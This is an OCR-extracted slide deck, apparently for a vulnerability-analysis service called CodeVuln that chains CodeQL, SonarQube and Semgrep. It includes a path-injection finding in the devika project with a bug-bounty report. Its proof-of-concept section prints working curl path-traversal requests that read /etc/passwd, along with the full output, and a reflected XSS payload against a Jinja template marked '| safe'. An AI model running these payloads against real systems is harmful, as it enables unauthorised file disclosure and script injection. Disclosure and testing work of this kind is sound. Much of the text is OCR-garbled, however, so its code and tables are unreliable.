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codevuin.my.canva.site

CodeVuln

CodeVuln

This service automatically analyzes vulnerabilities in open sources
The tools used in the analysis are CodeQL, SonarQube, and Semgrep, which graphically show the results of the analysis.
Continuous analysis is performed using the CD pipeline, and the analysis results are transmitted to the user through the Slack
Enjoy the Codeviuln service that provides auto-analysis with just one click!

Analysis Repository

Do not hesitate to contact me
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SE=4], SAST_AST
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AST
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Lexical Syntax
analyzer analyzer

Abstract Syntax Tree
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SE =4, SAST_AST

umport os
import shutil

Import FuctionDef

def delete file safe(filename):

if os. (filename):
else:

print("File does not exist")

shutil

input("Enter the filename to delete:
le safe(user input)

14
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MHIZ OB X - CSV Colunm

tool  date time name explanation severity message path  start_line start_col end_line end_col
CodeQL 2024-05-07 13:12:49 Unsafe jQuery plugin A jQuery plugin thwarning Potential ./js/jquery. 626 8 626 36
CodeQL 2024-05-07 13:12:49 Unsafe jQuery plugin A jQuery plugin thwarning Potential ./js/jquery. 634 24 634 50
CodeQL 2024-05-07 13:12:49 Unsafe jQuery plugin A jQuery plugin thwarning Potential ./js/jquery. 651 1 651 34
CodeQL 2024-05-07 13:12:49 Unsafe jQuery plugin A jQuery plugin thwaming Potential ./js/jquery. 655 7 655 34
CodeQL 2024-05-07 13:12:49 Unsafe jQuery plugin A jQuery plugin thwarning Potential ./js/jquery. 638 1 688 42

A
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MHIZ OB X - CSV Colunm

tool date time  severity path
Semgrep 2024-05-07 13:11:42 WARNINC /home/co
Semgrep 2024-05-07 13:11:42 WARNINC /home/co

=
1)
10
1L
=
J2
02
0ot

start_line end_line start_col end_col message rule_id metadata

27 Using use php.lang.
43 Using use php.lang.

likelihood

Ol=Jl =4

confidence

Ol &Il

oIr

({'category" 'security’, ‘co
{ category’. ‘security’, ‘co

p N
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MHIZ OB X - CSV Colunm

tool date

SonarQub¢« 2024-05-08
SonarQub¢ 2024-05-08
SonarQub« 2024-05-08
SonarQub¢ 2024-05-08
SonarQub« 2024-05-08

time rule

18:26:47 javascript:S2703
18:26:47 javascript:S2703
18:26:47 php:S6600
18:26:47 php:S121
18:26:47 php:S115

severity

BLOCKER
BLOCKER
CRITICAL
CRITICAL
CRITICAL

message path

Add the "l gnuboard®
Add the "l gnuboard:
Remove tl gnuboard"
Add curly gnuboard"

Rename tk gnuboard"

start_line

5
14

start_colurend line end column

9
8

5 10
14 11
2 28
6 6
9 19

p N
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Front-End

DataBase
N
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Back-End

SonarQube

Q0

Semgrep

Static Analysis

Slack
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MHIZ OFJIEI X - Login

CodeVuln

v

CodeVuln

Hello! let's get started

Sign in to continue.

SIGN IN

Don't have an account? Create

Home

GoCD

20
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MHIA OIZIE!A - Input github link & language »

CodeVuln login  GoCD

CodeVuln

This service automatically analyzes vulnerabilities in open sources.

The tools used in the analysis are CodeQL, SonarQube, and Semgrep, which grags= sults of the analysis.

Continuous analysis is performed using the CD pipeline, and the analysis results ari Language lluser through the Slack.
Enjoy the CodeVuln service that provides auto-analysis C

C++

CH#

Go

Java

Analysis Repository Python
Ruby
Swift

Input Repository URL!

Do not hesitate to contact me
if you have any questions.
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CodeVuln Home  Login

OWASP Top 10 Analysis Results
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CodeVuln

GoCD Setting

GoCD Pipeline Name

GoCD Repository URL

Shell Script to run on the pipeline

GoCD Group Name

GitHub Repository Update

Setting

GitHub User (Username OR QOrganization

name)

GitHub Repository Name

GitHub Private Access Token

Path to the YAML file to be stored in the
GitHub repository

v
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CodeVuln

GoCD Setting

GoCD Pipeline Name

GoCD Repository URL

Shell Script to run on the pipeline

GoCD Group Name

p N

Home L

0
5

GitHub Repository Update
Setting

GitHub User (Username OR Organization

name)

GitHub Repository Name

GitHub Private Access Token

Path to the YAML file to be stored in the
GitHub repository

v
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File Edit Selection View Go Run Terminal Help L P codeql [WSL: Ubuntu-22.04]

EXPLORER == {} devika.sarif ® devikapy 9+ ® @ statepy 2 B~0 - | {}

v CODEQL [WSL: UBUNTU-22.... devika > ® devika.py > @ browser_snapshot

16 RULES (2
v devika -

' OSIC
> anciits ' 2 py/jinja2/autoescape-false py/jinj
— @app.route("/api/get-project-files/", methods=["GET"])
¢ _init__.py
agent.py @route logger(logger)
apis deft project files():

~ py/path-injection p
41 project.py This path depends on a user-provided va
51 project.py This path depends on a user-pro

project.py devika.py This path depends on a user-provide

bert

project_name = request.args.get("project_name") =2 - project.py This path depends on a user-provided

br state.py This path depends on a user-provided valus
(HREEE files = AgentState.get_project_files(project_name) e T e
documenter : Py

experts return jsonify({"files": files})
filesystem - ' 2p 160:

llm
app.route("/api/get-browser-snapshot", methods=["GET"])

Memao
& @route logger(logger )‘

S < broser_snapshot(){
SETVICES snapshot_path = request.args.get("snapshot_path™)
# config.py return-send file(snapshot_path, as_attachment=T:
' init.py
: |OQQEF.P}I’ | e Y o R I
@app.route("/api/get-browser-session"”, methods=["GET"])

@route_logger(logge (variable) request: Request
def get_browser_ses

' project.py
# socket_instance.py
ANALYSIS STEPS (¥

' state.py project_name = requesft.args.get("project_name")

> ui agent_state = AgentState.get latest state(project_name)
.gitignore if agent_state:
ARCHITECTURE.md return jsonify({"session": None} ControlFlowNode for request

L
: ControlFlowNode for request
CONTRIBUTING.md else: 9
devika.dockerfile

devika.py

ControlFlowNode for ImportMember

browser_session = agent state["browser session™] ControlFlowNode for Attribute

return jsonify({"session": browser_session}) ControlFlowNode for Attribute()

ControlFlowNode for snapshot_path
docker-compose.yaml
: O - . ControlFlowNode for snapshot_path
I LICENSI @app.route( :




dEf DIrQ ] & _:'
project
files = A
return 1

curl http://localhost:1337/api/get-project-files/?project_nameW=../../../../../etc

28



Path Injection

24.05.11 04:21:35:
¥

: /api/get-project-files/ GET - Response: {"files":

24.05.11 04:21:44:
}

: /api/get-project-files/ GET - Response: {"files":

24.05.11 04:22:30:
}

: /api/get-project-files/ GET - Response: {"files":

24.05.11 04:22:34:
}

: /api/get-project-files/ GET - Response: {"files":

file_path passwd

File: passwd

24.085.11 ©4:22:47: root: DEBUG : /api/get-project-files/ GET - Response: {"files":[{
"code":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon: /usr/sbin:/usr/sbin/nolo
gin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync
:X:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games: /usr/games: /usr/sbin/nologin\nman:
x:6:12:man:/var/cache/man: /usr/sbin/nologin\nlp:x:7:7:1p:/var/spool/lpd: /usr/sbin/nol
ogin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/u
sr/sbin/nologin\nuucp:x:10:18:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:p
roxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nba
ckup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager
:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:4
1:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65
534:65534:nobody:/nonexistent: /usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/
sbin/nologin\nftp:x:101:184:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin\nuser:x:1060:1606
@:,,,:/home/user:/bin/bash\n","file": "passwd"}]}

Back-End

[end

drwxr-xr-x
-rw-r--r--
-rw-r--r--
-rW-r--r--
-rw-r--r--
-rW-r--r--
drwxr-xr-x
drwxr-xr-x

root
root
root
root
root
root
root
root

root@docker_codeql:
root@docker_codeql:
root@docker_codeql:
root@docker_codeql:

root 4096 May 11
root 1564 May 11
root 56 May 11
root 329 May 11
root 800 May 11
root 119 May 11
root 4096 May 11
root 4096 May 11
/home/env/devika#
/home/env/devika#
/home/env/devika#
/home/env/devika#

package-lock.json
package.json
requirements.txt
sample.config.toml
setup.sh

root@docker_codeqgl: /home/env/devika# curl http://localhost:1337/api/get-project-files
/?project_name\=../../../../../password

{"files":[]}

root@docker_codeqgl: /home/env/devika# curl http://localhost:1337/api/get-project-files
/?project_name\=../../../../password

{"files":[]}

root@docker_codeql:/home/env/devika# curl http://localhost:1337/api/get-project-files
/?project_name\=../../../../../etc/password
{"files":[{"code":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon: /usr/sbin:/us
r/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/no
login\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:6@:games: /usr/games:/usr/sbin/no
login\nman:x:6:12:man:/var/cache/man: /usr/sbin/nologin\nlp:x:7:7:1p:/var/spool/lpd:/u
sr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/sp
ool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp: /usr/sbin/nologin\nprox
y:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www: /usr/sbin/
nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing L
ist Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\n
nobody:x:65534:65534:nobody: /nonexistent: /usr/sbin/nologin\n_apt:x:1680:65534:: /nonexi
stent:/usr/sbin/nologin\nftp:x:101:1e4:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin\nuser
:x:1080:1008:,,,: /home/user:/bin/bash\n","file": "passwd"}]}

root@docker_codeql: /home/env/devika# _

POC




Path Injection

Bounties Community v Info v SUBMIT REPDRT .

By Protect Al

Vulnerability Type

[path injection] /api/get-project-files/ in stitionai/devika

ST Severity
( (@ Duplicate ] Reported on May 11th 2024

Description

@app.route("/api/get-project-files/", methods=["GET"]) @route_logger(logger) def project files():
project_ name = request.args.get("project_name") files = AgentState.get_project_files(project_name)
return jsonify({"files": files})

The vulnerability arises from the lack of filtering on the "project_name" parameter in the "/api/get- _
project-files/" endpoint. By utilizing “../", it's possible to traverse to higher directories, potentially Registry

exposing sensitive information.

Affected Version
Exploiting this vulnerability allows reading the contents of all files within the specified directory. As a

result, it was addressed in two scenarios:
Visibility

Reading files within the /etc/ directory: Initially, it was possible to read the contents of all files within

the /etc/ directory. Status

Reading the /etc/passwd file: To illustrate the issue, the following commands were executed to create
a directory named /etc/password and copy the /etc/passwd file into it: Disclosure Bounty

mkdir /etc/password cp /etc/passwd /etc/password
Fix Bounty

Subsequently, the contents of the /etc/password/passwd file were successfully read.
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[

return render
else:

return

p N
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<!DOCTYPE html>

<html=>

<head=>
<title>Result</title>

</head>

<body=

<hl>User Input</hl>

<p>{{ user_input | safe }}</p>
</body>
</html>

p N

33



[

v @ Submit Form

& C ® localhost:5000

Submit Form

Input:

- Submit |
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@) Result
X

X r

@® localhost:5000/submit

Input:
<script>alert('XSS')</script>

localhost:5000 L2

XSS

p
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